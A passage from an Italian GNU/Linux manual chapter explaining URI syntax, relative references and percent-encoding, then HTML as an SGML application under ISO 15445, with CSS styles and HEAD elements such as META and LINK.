66.9.3 Particolarità nell'HTML 3835
66.9.4 Programma frontale per semplificare l'utilizzo di HTML2ps 3835

66.10 Introduzione a Amaya 3836

66.10.1 Navigazione e composizione 3837
66.10.2 Configurazione 3839
66.10.3 Aggregazione di un documento composto 3839

66.11 HTMLDOC 3841

66.11.1 Sorgente HTML 3841
66.11.2 Funzionamento 3842
66.11.3 Definizione dei file sorgenti 3844
66.11.4 Composizione 3845
66.11.5 Formato e aspetto delle pagine 3846
66.11.6 Indice generale 3847
66.11.7 Carattere da stampa 3847
66.11.8 Altre opzioni 3848
66.11.9 Programmazione della composizione 3849
66.11.10 Informazioni particolari nel sorgente 3853

66.12 Motori di ricerca e robot 3856

66.12.1 Elementi META 3856
66.12.2 Filtro iniziale alla scansione dei robot 3858
66.13 Riferimenti 3859

66.1 URI

Un URI (*Uniform resource identifier*) è un indirizzo espresso attraverso una stringa di caratteri per identificare una risorsa fisica o astratta. La risorsa in questione è un'entità e la sua collocazione non si trova necessariamente all'interno di una rete. In pratica, il concetto di URI incorpora i concetti di URL (*Uniform resource locator*) e di URN (*Uniform resource name*).

Un URL identifica una risorsa rappresentando il metodo di accesso a questa; un URN identifica la risorsa attraverso un nome, il quale deve essere unico a livello globale e deve persistere anche quando la risorsa cessa di esistere o diventa inaccessibile.

66.1.1 Trascrivibilità

L'esigenza primaria degli indirizzi URI è la loro «trascrivibilità». Con questo termine si vuole fare riferimento alla facilità con la quale questi devono poter essere trascritti, sia a livello meccanico, sia a livello umano. In pratica:

- un URI è composto da una sequenza di «caratteri» e non necessariamente da ottetti (byte);
- un URI deve poter essere trascritto attraverso qualunque mezzo, come una pubblicazione stampata o un appunto fatto a mano, in tal senso non può utilizzare caratteri particolari che possono mancare in un contesto determinato;
- un URI deve poter essere ricordato facilmente dalle persone, per cui è utile che la stringa che rappresenta un URI abbia un significato che ne faciliti la memorizzazione.

Dal momento che ci deve essere la possibilità di rappresentare un URI all'interno di parentesi di qualsiasi tipo, i caratteri corrispondenti a queste parentesi non possono essere utilizzati letteralmente all'interno di un indirizzo del genere. Le parentesi in questione sono quelle tonde, quadre, graffe e angolari: '`(`', '`)`', '`[`', '`]`', '`{`', '`}`', '`<`', '`>`'.

66.1.2 Sintassi

La sintassi di un URI è piuttosto complessa, perché dipende molto dal contesto a cui si applica. Non è il caso si entrare troppo nel dettaglio; piuttosto è meglio apprendere la logica della cosa.

schema*:*parte_successiva_dipendente_dallo_schema

Quello che si vede è il modello di prima approssimazione di un indirizzo URI assoluto (viene trattato in seguito il concetto di URI relativo). In questa prima fase si distinguono due parti,

separate da due punti verticali (‘`:`’), dove prima appare un nome che definisce uno «schema» e poi continua con una stringa che va interpretata in base alle regole specifiche di quello schema.

La sintassi di un URI non stabilisce a priori quale sia la forma che deve avere la stringa che segue i due punti; tuttavia, è frequente l’utilizzo di URI secondo i modelli seguenti:

schema`://`*autorità* [*percorso* [`?`*interrogazione*]]

schema`:/`*percorso*

Convenzionalmente, quando una risorsa viene individuata attraverso un URI che per sua natura contiene un’informazione gerarchica, la separazione tra i vari livelli di questa gerarchia avviene utilizzando una barra obliqua normale (‘`/`’). Si tratta evidentemente di una tecnica ereditata dal file system Unix; tuttavia, ciò resta indipendente dal fatto che la risorsa in questione risieda fisicamente all’interno di un file system o meno.

La figura 66.1 mostra alcuni esempi a proposito di URI composti secondo i modelli più frequenti.

Figura 66.1. Esempi di URI comuni.

Nella figura si vede anche un caso particolare, riferito a un URN di tipo ISBN (*International standard book number*). Lo schema di un URN è sempre ‘**`urn:`**’; a questo segue l’indicazione di un NID (*Namespace identifier*), ovvero un identificatore che qualifica l’informazione successiva; infine si inserisce l’informazione, definita NSS (*Namespace specific string*), ovvero ciò che va inteso nel contesto stabilito dal NID. L’esempio che appare nella figura fa riferimento al numero ISBN 88-256-0223-5, esprimendolo in forma di URN.

66.1.2.1 Accesso a un servente attraverso la rete

Quando l'indirizzo URI si riferisce a un servizio offerto attraverso la rete, la struttura di ciò che è stato definito come «autorità» si articola in modo particolare:

```
[utente [:parola_d'ordine] @] nodo [:porta]
```

In questo modo si può specificare il nominativo utente per l'accesso alla risorsa, eventualmente anche la parola d'ordine (benché ciò sia decisamente sconsigliabile per motivi di sicurezza), quindi il nodo di rete che offre il servizio e infine la porta del servizio.

Il nodo di rete può essere indicato per nome, attraverso il nome di dominio, oppure attraverso il numero IPv4. Purtroppo non è stato definito un modo per indicare un numero IPv6, dal momento che la sua forma renderebbe impossibile l'interpretazione corretta dell'indirizzo.

Se si omettono le informazioni riferite all'utente, vuol dire che queste non sono necessarie, oppure che esistono dei valori predefiniti per questo; per quanto riguarda la porta del servizio, se questa non viene indicata si fa riferimento sempre al suo valore predefinito. Naturalmente, è stabilito dal servente quali siano i valori predefiniti.

66.1.2.2 Riferimento agli URI

Per sua natura, l'indirizzo URI è un riferimento a una risorsa. In generale vanno considerate anche due circostanze particolari: il riferimento a un frammento della risorsa e l'indicazione di URI relativi.

Un URI relativo è un indirizzo ridotto che parte da un punto di partenza conosciuto. Il principio deriva dal concetto di percorso relativo all'interno di un file system. In generale, un URI relativo può essere indicato omettendo tutta la parte iniziale che si possa determinare altrimenti.

Di fronte a un URI che contenga un'informazione sul percorso in forma gerarchica, è abbastanza facile intendere cosa sia la base di riferimento per gli URI relativi: basta togliere dall'indirizzo attuale tutto quello che segue l'ultima barra obliqua. Per esempio, per il documento *http://www.brot.dg/esempi/articolo.html* l'URI di base è *http://www.brot.dg/esempi/*, per cui, il riferimento a '`figure/foto.jpg`' richiama effettivamente l'URI *http://www.brot.dg/esempi/figure/foto.jpg*.

Il percorso di un URI relativo può essere indicato anche con una barra obliqua iniziale, ma in questo caso si intende fare riferimento a un percorso assoluto nell'ambito dell'URI. Continuando con l'esempio precedente, il riferimento a '`/nuovo/documento.html`' richiama effettivamente l'URI *http://www.brot.dg/nuovo/documento.html*.

In presenza di un percorso relativo, è possibile utilizzare anche i simboli '`.`' e '`..`', con lo stesso significato che hanno nel file system Unix: il primo rappresenta la posizione corrente e il secondo quella precedente.

È importante osservare che il riferimento alla stringa nulla indica implicitamente lo stesso URI iniziale.

Il problema degli URI relativi non è così semplice come è stato descritto. In realtà vanno prese in considerazione altre cose, come per esempio la possibilità che il tipo di risorsa (di solito in un documento HTML) possa incorporare l'informazione esplicita di un URI di base.

Quando il tipo di risorsa lo consente, è possibile aggiungere all'URI l'indicazione di un frammento particolare. Questa parte aggiuntiva la si riconosce perché è preceduta dal simbolo '**#**':

```
http://www.brot.dg/esempi/articolo.html#commento
```

L'esempio mostra il riferimento al frammento '**#commento**' nell'ambito dell'URI 'http://www.brot.dg/esempi/articolo.html'. Dal momento che la stringa nulla fa riferimento alla risorsa attuale, i riferimenti interni alla stessa risorsa sono indicati facilmente attraverso il solo frammento:

```
#commento
```

L'esempio mostra un riferimento relativo al frammento '**#commento**' della risorsa corrente.

66.1.2.3 Esempi

Frequentemente, il nome dello schema dell'indirizzo URI corrisponde al nome del protocollo necessario per raggiungere la risorsa relativa. I più comuni sono: '**http**', '**ftp**', '**gopher**', '**mailto**', '**wais**', '**telnet**', '**tn3270**', '**news**'. Quando si vuole fare riferimento a un file locale senza utilizzare alcun protocollo particolare, si può indicare anche lo schema '**file**', ma in questo caso ci sono delle particolarità che vengono mostrate dagli esempi.

- ```
  http://www.brot.dg:8080/esempi/indice.html
  ```
  - protocollo HTTP
  - nodo di rete *www.brot.dg*
  - porta 8080

    Viene indicata la porta perché si vuole fare riferimento a un valore diverso dallo standard che per il protocollo HTTP è 80
  - risorsa '/esempi/indice.html'

- ```
  http://www.brot.dg/esempi/indice.html
  ```
  Come nell'esempio precedente, ma senza l'indicazione della porta che questa volta corrisponde al valore predefinito, cioè 80.

- ```
  http://192.168.1.1/esempi/indice.html
  ```
  Come nell'esempio precedente, ma l'indicazione del nodo avviene per mezzo del suo indirizzo IPv4 invece che attraverso il nome di dominio.
  ```

- ```
  ftp://ftp.brot.dg/pub/archivi/esempio.tar.gz
  ```

  - protocollo FTP
  - nodo di rete *ftp.brot.dg*
  - risorsa '/pub/archivi/esempio.tar.gz'

- ```
  ftp://tizio@ftp.brot.dg/pub/archivi/esempio.tar.gz
  ```

  Come nell'esempio precedente, con la differenza che si fa riferimento a un utente particolare.

- ```
  ftp://tizio:segretissima@ftp.brot.dg/pub/archivi/esempio.tar.gz
  ```

  Come nell'esempio precedente, con la differenza che si aggiunge l'indicazione della parola d'ordine di accesso al servizio, cosa che in generale è bene non passare mai in questo modo.

- ```
  file://localhost/home/daniele/indice.html
  ```

  In questo caso si vuole fare riferimento a un file locale. Precisamente si tratta del file '/home/daniele/indice.html' contenuto nell'elaboratore *localhost*.

  Questo tipo di indicazione è utile specialmente quando si vuole fare riferimento a una pagina indice o iniziale, caricata automaticamente all'atto dell'avvio di un programma cliente per la navigazione.

- ```
  file:///home/daniele/indice.html
  ```

  Esattamente come nell'esempio precedente, con la differenza che si omette l'indicazione esplicita dell'elaboratore locale: *localhost*.

- ```
  file:/home/daniele/indice.html
  ```

  Esattamente come nell'esempio precedente, con la differenza che si utilizza una sola barra obliqua dopo l'indicazione '**file:**' (ma in generale è preferibile la forma precedente, con le tre barre oblique).

- ```
  mailto:tizio@dinkel.brot.dg
  ```

  Si tratta di un indirizzo di posta elettronica, nel quale è essenziale fornire l'indicazione del nominativo utente. Dopo il nome del nodo di destinazione non appare un percorso, perché in questo caso non avrebbe significato.
  ```

66.1.3 Limitazioni nell'uso dei caratteri

Ogni componente di un URI ha delle regole proprie nell'uso dei caratteri, dal momento che alcuni di questi hanno significati speciali. Purtroppo le regole in questione sono tante e la cosa migliore che si può fare è quella di usare il buon senso, riservando la lettura della documentazione specifica ai casi in cui è indispensabile chiarire il problema nel dettaglio (RFC 2396).

In generale non è ammissibile l'uso dello spazio. Infatti, considerato il principio di trascrivibilità degli URI, lo spazio dovrebbe essere inteso solo come una necessità legata al tipo di trascrizione utilizzata. Per il resto, se la propria lingua lo consente, sarebbe bene limitarsi all'uso delle lettere dell'alfabeto latino (maiuscole e minuscole, ma senza accenti), le cifre numeriche e alcuni simboli: '`@`', '`*`', '`_`', '`-`' e il punto ('`.`'). Gli altri simboli possono creare problemi di trascrivibilità o avere significati particolari (basta pensare alle barre oblique e ai due punti verticali).

Quando un simbolo particolare non può essere utilizzato in modo letterale nel contesto in cui lo si vuole inserire, può essere indicato attraverso una notazione speciale: '`%`***hh***'. La sigla ***hh*** rappresenta una coppia di cifre esadecimali. A questa regola fa eccezione lo spazio che viene codificato normalmente con il segno '`+`', ma non in tutte le occasioni (di solito solo nelle stringhe di richiesta).

Generalmente, per gli indirizzi URI normali non c'è la necessità di preoccuparsi di questo problema, anche la tilde può essere utilizzata letteralmente nell'indicazione dei percorsi. La tabella 66.4 mostra l'elenco di alcune corrispondenze tra simboli particolari e la codifica alternativa utilizzabile negli URI.

Tabella 66.4. Alcune corrispondenze tra simboli particolari e codifica alternativa utilizzabile negli URI.

Carattere	Codifica corrispondente
%	%25
&	%26
+	%2B
/	%2F
=	%3D

In linea di principio, un URI dovrebbe essere realizzato in modo da non dover utilizzare questa tecnica di protezione per i caratteri «speciali». La situazione più probabile in cui è necessario utilizzare questo procedimento è riferito alle stringhe di interrogazione.

66.2 Aspetti generali di HTML

HTML sta per *Hypertext markup language* e in pratica è un formato SGML per i documenti della rete che fa uso di un DTD particolare: HTML appunto. La composizione di un documento HTML non può mai essere valutata perfettamente in anticipo, perché dipende da diversi fattori:

- il programma utilizzato per visualizzare il documento;
- la risoluzione utilizzata;

- i tipi di carattere a disposizione;
- la profondità di colori disponibili.

Lo standard HTML è tale per cui tutti (o quasi) i programmi utilizzabili per la lettura di tali documenti sono in grado di cavarsela. Ma questo risultato minimo è ben lontano dall'esigenza di costruire qualcosa che tutti possano vedere più o meno nello stesso modo. Per questo, quando si costruisce un documento HTML, occorre pensare all'utenza a cui è destinato, in modo da decidere quali caratteristiche possono essere utilizzate e quali invece è meglio scartare per evitare inutili problemi di lettura.

L'HTML nasce all'inizio degli anni 1990, abbinato in particolare al primo navigatore: Mosaic. Da quel momento a oggi il formato HTML ha subito diversi aggiornamenti; si ricorda in particolare la versione 2.0 del 1995 e la versione 3.2 del 1997. Secondo il progetto di W3C, lo sviluppo di HTML avrebbe dovuto concludersi con la versione 4.01, per passare da quel momento a XHTML. Tuttavia, intorno al 2007 la questione di HTML viene riaperta, introducendo una versione 5. Tra le varie versioni di HTML va tenuta in considerazione particolare quella definita dallo standard ISO 15445, la quale può considerarsi un passepartout per ogni tipo di navigatore ipertestuale.

Lo spirito alla base dello sviluppo dell'HTML da parte del W3C, così come acquisito dallo standard ISO 15445, è quello di ottenere un formato multimediale-ipertestuale completo, adatto per la lettura attraverso qualunque tipo di mezzo: dal terminale tattile braille al documento stampato. Le estensioni proprietarie di questo standard si sono rivolte principalmente all'aspetto visuale e scenografico del formato, trascurando le altre esigenze. Scrivere un documento «puro» in HTML è un'arte raffinata, ma poco conosciuta. In generale, **maggiori sono i contenuti e le esigenze di divulgazione, minori devono essere le pretese estetiche**.

La documentazione di riferimento per tutto ciò che riguarda l'HTML è quella offerta dal W3C: ⟨*http://www.w3.org*⟩, in particolare ⟨*http://www.w3.org/TR/*⟩, a cui si deve affiancare anche quanto riguarda lo standard ISO 15445: ⟨*http://www.scss.tcd.ie/misc/15445/15445.html*⟩.

66.2.1 HTML e SGML

L'HTML è un linguaggio di composizione basato sull'SGML (si veda quanto descritto nel capitolo 63). Come tale, un documento HTML inizia sempre con la dichiarazione del DTD; poi tutto il documento viene racchiuso nell'elemento principale di questa struttura:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
    ...
    ...
    ...
</HTML>
```

Purtroppo, la maggior parte dei programmi di navigazione o di composizione per il formato HTML non è in grado di comprendere tutte le regole dell'SGML, per cui occorre evitare di utilizzare alcune delle sue caratteristiche. In particolare bisogna evitare:

- la creazione di entità generali per l'utilizzo di macro specifiche relative al testo;

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN"
[
<!ENTITY GNULINUX "GNU/Linux">
<!ENTITY HURD     "GNU/Hurd">
<!ENTITY DOS      "Dos">
<!ENTITY POSIX    "POSIX">
<!ENTITY UNIX     "Unix">
]>
```

- le sezioni marcate per l'inclusione e l'esclusione del testo;

```
<![INCLUDE[
    ...
    <!-- testo incluso -->
    ...
]]>
...
<![IGNORE[
    ...
    <!-- testo escluso -->
    ...
]]>
```

- le sezioni marcate per individuare un contenuto di tipo '**CDATA**', allo scopo di proteggere il simbolo '**<**' in modo da poterlo usare letteralmente;

```
<![CDATA[
    ...
    <!-- testo letterale -->
    ...
]]>
```

- la delimitazione di un elemento in forma abbreviata;

<*nome_elemento* / *contenuto_dell'elemento* /

- l'indicazione di marcatori iniziali e finali vuoti.

```
<> ... </>
```

Il fatto che l'HTML sia definito da un DTD, permette di verificare la sua correttezza formale, anche se le regole stabilite nel DTD non sono sufficienti a definire la sintassi completa. Per poter verificare la correttezza formale di un documento HTML, oltre agli strumenti di convalida, cioè il pacchetto SP, occorre procurarsi il DTD e le sue estensioni riferite alle entità generali, quelle che permettono di utilizzare le macro per le lettere accentate e i simboli speciali.

Il DTD dell'HTML ISO 15445 e la dichiarazione SGML si trovano presso `ftp://ftp.cs.tcd.ie/isohtml/`. Per quanto riguarda le entità standard a cui si fa riferimento, queste si trovano presso ⟨*http://www.w3.org/TR/html4/*⟩. Si può realizzare un catalogo SGML per l'analisi locale di un documento del genere nel modo seguente:

```
OVERRIDE YES

SGMLDECL                                                      15445.dcl

PUBLIC  "ISO/IEC 15445:2000//DTD HyperText Markup Language//EN" 15445.dtd
DTDDECL "ISO/IEC 15445:2000//DTD HyperText Markup Language//EN" 15445.dcl
PUBLIC  "ISO/IEC 15445:2000//DTD HTML//EN"                      15445.dtd
DTDDECL "ISO/IEC 15445:2000//DTD HTML//EN"                      15445.dcl
PUBLIC "-//W3C//ENTITIES Full Latin 1//EN//HTML"                HTMLlat1.ent
PUBLIC "-//W3C//ENTITIES Special//EN//HTML"                     HTMLspecial.ent
PUBLIC "-//W3C//ENTITIES Symbolic//EN//HTML"                    HTMLsymbol.ent
```

Con questo catalogo, i file utilizzati devono trovarsi nella directory corrente.

Nell'esempio seguente si utilizza il programma '**nsgmls**' (del pacchetto SP) supponendo in particolare che il catalogo sia contenuto nel file 'catalogo'; il file da verificare viene indicato come 'mio_file.html'. Il catalogo e il file da controllare si intendono collocati nella directory corrente.

$ **cat mio_file.html | nsgmls -s -c catalogo**[*Invio*]

È il caso di ricordare che alcune distribuzioni GNU/Linux, in particolare Debian, predispongono un pacchetto apposito contenente i DTD più comuni riferiti alle varie versioni dell'HTML, comprese le estensioni proprietarie, assieme alle relative entità standard. Naturalmente, il tutto è organizzato in un catalogo unico che va eventualmente ad aggiornare il catalogo di sistema (dovrebbe trattarsi del file '/etc/sgml.catalog', oppure del file '/usr/share/sgml/catalog'). Il nome di questo pacchetto potrebbe essere 'sgml-data*'.

Oltre alla verifica in base al DTD sarebbe opportuno sapere leggere il contenuto del DTD stesso. A questo proposito è da notare il fatto che nel manuale che descrive le specifiche HTML ISO 15445, si fa spesso riferimento alle caratteristiche degli elementi attraverso lo schema offerto dalla dichiarazione relativa nel DTD. In effetti, ciò permette di rendere molto chiara e precisa la descrizione che ne viene fatta subito dopo.

66.2.1.1 Attributi comuni attraverso le entità parametriche

Il DTD dell'HTML ISO 15445 fa un uso massiccio di entità parametriche e questo può disorientare inizialmente. In generale basta ricordare che qualunque cosa nella forma '%*nome*;' è una macro che si espande in una stringa. La dichiarazione di queste entità parametriche avviene nella parte iniziale del DTD, attraverso istruzioni del tipo:

```
<!ENTITY % nome "stringa">
```

È interessante notare l'utilizzo di entità parametriche per fare riferimento agli attributi degli elementi. Infatti, quasi tutti gli elementi dell'HTML ISO 15445 prevedono l'uso di attributi, per cui si è ritenuto opportuno classificarli all'interno di entità parametriche. In particolare è importante individuarne due molto importanti:

```
<!ENTITY % core
   "CLASS      CDATA      #IMPLIED -- Comma separated list of class values --
    --The name space of the ID attribute is shared with the name space of
      the NAME attributes.  Both ID and NAME attributes may be provided for
      the <A> and <MAP> elements. When both ID and NAME values are provided
      for an element, the values shall be identical.  It is an error for an
      ID or NAME value to be duplicated within a document.

      It is recommended that authors of documents specify both the ID
      attribute and the NAME attribute for the <A> and <MAP> elements.
    --
    ID         ID         #IMPLIED -- Document-wide unique id --
    TITLE      CDATA      #IMPLIED -- Advisory title or amplification --" >

        <!-- Internationalization attributes -->

<!ENTITY % i18n
   "DIR        (ltr|rtl)  #IMPLIED -- Direction for weak/neutral text --
    LANG       NAME       #IMPLIED -- RFC1766 language value --" >
```

La macro '**`%core;`**' serve a individuare un gruppo di attributi disponibili nella maggior parte degli elementi:

Attributo	Descrizione
`ID`	permette di attribuire una stringa di riconoscimento all'elemento, in modo da potervi fare riferimento;
`CLASS`	permette di abbinare all'elemento una classe, definita attraverso un nome, in modo da potergli attribuire uno stile particolare;
`TITLE`	permette di attribuire un «titolo» all'elemento, cosa che si traduce in pratica in modo differente a seconda del contesto (ovvero, a seconda dell'elemento a cui si applica).

La macro '**`%i18n;`**' serve invece a definire ciò che riguarda la localizzazione:

Attributo	Descrizione
`LANG`	permette di indicare una sigla, secondo lo standard ISO 639 (tabella 14.4) e anche secondo altri standard, per attribuire all'elemento il linguaggio relativo;
`DIR`	permette di stabilire il flusso del testo nel risultato finale, dove la parola chiave '**`ltr`**' si riferisce a uno scorrimento da sinistra a destra (*Left to right*) e la parola chiave '**`rtl`**' indica uno scorrimento opposto, da destra a sinistra (*Right to left*).

Si osservi, a titolo di esempio, la dichiarazione dell'elemento '**`P`**', dove gli attributi sono quelli più comuni, rappresentati dalle macro '**`%core;`**' e '**`%i18n;`**':

```
<!ELEMENT P    - O  (%text;)+ >
<!ATTLIST P
    %core;                    -- Element CLASS, ID and TITLE --
    %i18n;                    -- Internationalization DIR and LANG -->
```

66.2.1.2 Classificazione fondamentale degli elementi

All'interno di un documento HTML si distinguono due gruppi di elementi fondamentali: quelli che rappresentano dei blocchi e quelli che servono a inserire qualcosa all'interno di una riga di testo normale. Questa suddivisione corrisponde a due macro: '**%block;**' e '**%text;**' rispettivamente.

Per fare un esempio, l'elemento '**P**' (paragrafo) è un «blocco», mentre l'elemento '**EM**' (enfasi) è un componente interno a una riga di testo.

Questa classificazione semplifica molto la dichiarazione degli elementi, come nel caso dell'elemento '**P**', già visto, il cui contenuto è semplicemente tutto ciò che va inserito nelle righe di testo:

```
<!ELEMENT P     - O   (%text;)+ >
```

Alcuni elementi di un documento HTML sono ambigui, nel senso che possono contenere sia blocchi che testo. A titolo di esempio si osservi la dichiarazione dell'elemento '**LI**' che rappresenta la voce di un elenco puntato o numerato:

```
<!ELEMENT LI      - O   (%text; | %block;)+ >
```

66.2.2 Stili

Le estensioni proprietarie dell'HTML hanno portato questo linguaggio di composizione a una proliferazione di dialetti, a causa dell'esigenza di trasferire anche le informazioni sull'aspetto finale della composizione, che in origine non sono state prese in considerazione. L'unica soluzione disponibile con HTML ISO 15445 è l'abbinamento di uno stile, che può essere dichiarato all'interno del file HTML stesso, attraverso l'elemento '**STYLE**', oppure in un file esterno, richiamandolo con l'elemento '**LINK**' (viene mostrato tra poco).

L'HTML non presuppone il formato in cui può essere realizzato lo stile. È comune l'uso di stili in formato CSS (*Cascading style sheet*) e per farvi riferimento si indica il tipo '**text/css**'.

Per il momento, non viene spiegato in che modo si scrivono le direttive in un foglio di stile CSS. Intuitivamente, il lettore può comprendere che la direttiva seguente serve a colorare in blu il contenuto degli elementi '**H1**':

```
H1 { color: blue; }
```

Inoltre, la direttiva seguente serve per fare in modo che il contenuto dell'elemento '**P**' abbia il carattere di 12 punti e di colore rosso:

```
P { font-size: 12pt; color: red; }
```

Si osservi che la stessa cosa avrebbe potuto essere scritta nel modo seguente:

```
P {
    font-size:  12pt;
    color:      red;
}
```

Per definire questi stili all'interno di un documento HTML, senza fare uso di un file esterno, si potrebbe agire nel modo seguente, attraverso l'uso dell'elemento '**STYLE**':

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
    <TITLE>Esempio</TITLE>
    <STYLE TYPE="text/css">
        H1 { color: blue }
        P {
            font-size:  12pt;
            color:      red;
        }
    </STYLE>
</HEAD>
<BODY>
    ...
    ...
    ...
</BODY>
</HTML>
```

Si comprende che il testo contenuto nell'elemento '**STYLE**' non deve interferire con l'HTML e quindi non può contenere simboli che possano risultare ambigui. Questo problema riguarda naturalmente il linguaggio con cui è realizzato lo stile; nel caso del formato CSS non dovrebbe porsi alcun problema. Tuttavia, qualche programma utilizzato per la navigazione, potrebbe non riconoscere l'elemento '**STYLE**', arrivando a riprodurre il testo che rappresenta in realtà lo stile. Per evitare questo problema si può circoscrivere la cosa all'interno di un commento SGML:

```
<STYLE TYPE="text/css">
    <!--
        H1 { color: blue }
        P {
            font-size:  12pt;
            color:      red;
        }
    -->
</STYLE>
```

Probabilmente, il modo più elegante di abbinare uno stile a un documento HTML è quello di aggiungere un file esterno. Nell'esempio seguente si include lo stile corrispondente al file '`stile.css`':

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
    <TITLE>Esempio</TITLE>
    <LINK REL="stylesheet" TYPE="text/css" HREF="stile.css">
    ...
</HEAD>
...
</HTML>
```

È chiaro che dipende dal programma di navigazione la capacità o meno di conformarsi allo stile. In generale, lo standard CSS sembra essere quello che ha più probabilità di affermarsi.

66.2.3 Struttura di un documento HTML

Il documento HTML è contenuto tutto nell'elemento omonimo: '**HTML**'. Questo si scompone in due elementi fondamentali, '**HEAD**' e '**BODY**', che rappresentano rispettivamente l'intestazione e il corpo:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
    <TITLE>Titolo della pagina</TITLE>
</HEAD>
<BODY>
    ...
    <!-- Corpo del documento -->
    ...
</BODY>
</HTML>
```

In generale, è conveniente annotare la lingua principale del documento, attraverso l'attributo '**LANG**' da collocare nel marcatore di apertura dell'elemento '**HTML**':

```
<HTML LANG="it">
```

Per la precisione, il codice che definisce il linguaggio viene indicato secondo la sintassi seguente:

codice_principale [-*codice_secondario*]

In pratica, la prima parte, quella che appare prima del trattino di separazione, indica la lingua, di solito attraverso il codice ISO 639 (tabella 14.4), mentre la seconda parte indica l'area nazionale, secondo lo standard ISO 3166 (tabella 14.5), che a sua volta può implicare delle varianti nel linguaggio.

In generale, un documento di grandi dimensioni realizzato attraverso il formato HTML, richiede la scomposizione dello stesso in più file HTML collegati tra loro da riferimenti ipertestuali. Questa, purtroppo, è una necessità a causa delle limitazioni dei programmi di navigazione.

66.2.3.1 Intestazione e informazioni supplementari

L'intestazione è una parte del documento HTML che serve per annotare delle informazioni generali. Deve contenere almeno il titolo all'interno dell'elemento '**`TITLE`**'. Di solito, la riproduzione di un documento HTML non fa apparire il titolo nel testo del documento, che comunque viene usato per farvi riferimento (per esempio nel segnalibro del programma utilizzato per la sua visualizzazione).

Nell'intestazione, prima o dopo il titolo, può essere conveniente collocare alcune «meta-informazioni», attraverso alcuni elementi '**`META`**'. Si tratta di un elemento vuoto, per il quale si utilizza soltanto il marcatore di apertura con l'indicazione di attributi opportuni. In particolare, si possono utilizzare gli attributi seguenti:

Attributo	Descrizione
`NAME`	per indicare un nome che qualifica il tipo di meta-informazione (si tratta di parole chiave più o meno standard, che però non sono state definite nel DTD);
`HTTP-EQUIV`	per indicare un campo di risposta nell'ambito del protocollo HTTP, tenendo conto che l'attributo '**`NAME`**' è alternativo a '**`HTTP-EQUIV`**';
`CONTENT`	(obbligatorio) per indicare il valore abbinato al nome indicato attraverso l'attributo '**`NAME`**', oppure attraverso l'attributo '**`HTTP-EQUIV`**'.

Come si intuisce dall'elenco degli attributi più importanti, si può distinguere tra elementi '**`META`**' che utilizzano l'attributo '**`NAME`**' e altri che usano l'attributo '**`HTTP-EQUIV`**'. Le informazioni che si definiscono attraverso elementi '**`META`**' con l'attributo '**`NAME`**' permettono di indicare informazioni che qualificano il documento, soprattutto quando questo viene trattato automaticamente da un motore di ricerca; l'attributo '**`HTTP-EQUIV`**' permette invece di intervenire a livello del protocollo HTTP (quando il documento viene ottenuto in questo modo), specificando le intestazioni HTTP relative. Si osservi l'esempio seguente:

```
<HEAD>
    <TITLE>Titolo della pagina</TITLE>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
    <META NAME="Description"    CONTENT="Esempio di una pagina HTML">
    <META NAME="Keywords"       CONTENT="HTML, SGML, Editoria elettronica">
    <META NAME="Author"         CONTENT="P. Pallino ppallino@dinkel.brot.dg">
    <META NAME="Classification" CONTENT="Esempio HTML">
</HEAD>
```

In particolare, ricevendo questo documento attraverso il protocollo HTTP, si ottiene anche l'intestazione HTTP seguente:

```
Content-Type: text/html; charset=ISO-8859-1
```

Si noti nell'esempio l'indicazione esplicita dell'insieme di caratteri: ISO 8859-1

Un altro tipo di elemento speciale può apparire all'interno dell'intestazione di un documento HTML; si tratta di '**LINK**'. Anche questo è un elemento vuoto e serve solo per indicare degli attributi nel marcatore di apertura. Gli attributi più importanti sono:

Attributo	Descrizione
HREF	per indicare un URI a cui si intende fare riferimento;
REL	per definire la relazione che c'è con questo tipo di collegamento;
TYPE	per specificare in anticipo il tipo dei dati contenuti nell'URI;
MEDIA	per specificare il mezzo attraverso cui viene letto il documento.

Trattandosi di un elemento vuoto, collocato nell'intestazione HTML, non è pensato per essere rappresentato nella composizione. Tuttavia, abbinando le parole chiave opportune all'attributo '**REL**', si stabiliscono dei collegamenti utili per ricomporre un documento più grande costituito da più pagine HTML. In pratica, si può dichiarare in modo esplicito come è articolato, così che il programma di navigazione o composizione sappia regolarsi. La tabella 66.29 elenca alcune delle parole chiave che possono essere assegnate all'attributo '**REL**'.

Tabella 66.29. Parole chiave tipiche da assegnare all'attributo '**REL**' dell'elemento '**LINK**'.

Nome	Descrizione
Alternate	Una versione alternativa dello stesso documento.
Stylesheet	Foglio di stile esterno.
Start	Il primo documento di una collezione.
Next	Il prossimo documento di una sequenza lineare.
Prev	Il documento precedente di una sequenza lineare.
Contents	Un documento che funge da indice generale.
Index	Un documento che funge da indice analitico.
Glossary	Un documento che funge da glossario.
Copyright	Un documento che contiene la dichiarazione del copyright.
Chapter	Un documento che funge da capitolo in una collezione.
Section	Un documento che funge da sezione in una collezione.
Subsection	Un documento che funge da sottosezione in una collezione.
Appendix	Un documento che funge da appendice in una collezione.
Help	Un documento che funge da guida.

L'esempio seguente mostra parte di un'intestazione di una pagina HTML in cui sono stati usati alcuni elementi '**LINK**' per definire la relazione con altre pagine che compongono la stessa raccolta:

```
<HEAD>
    ...
    <LINK REL="Stylesheet" TYPE="text/css" HREF="stile.css">
    <LINK REL="Start" TITLE="inizio" HREF="index.html">
    <LINK REL="Contents" TITLE="indice generale" HREF="indice-generale.html">
    <LINK REL="Prev" TITLE="precedente" HREF="capitolo-6.html">
    <LINK REL="Next" TITLE="successivo" HREF="capitolo-8.html">
    <LINK REL="Index" TITLE="indice analitico" HREF="indice-analitico.html">
</HEAD>
```

Merita un po' di attenzione l'attributo '**MEDIA**' che serve a stabilire il mezzo adatto per la lettura del documento relativo. Questo attributo si usa generalmente all'interno di un elemento '**LINK**' che serve a indicare un foglio di stile esterno; inoltre può essere usato per lo stesso motivo all'interno di un elemento '**STYLE**'. In pratica, in questo modo, si stabilisce l'abbinamento tra stile e mezzo di lettura. La tabella 66.31 elenca i nomi che si possono assegnare a un attributo '**MEDIA**'.

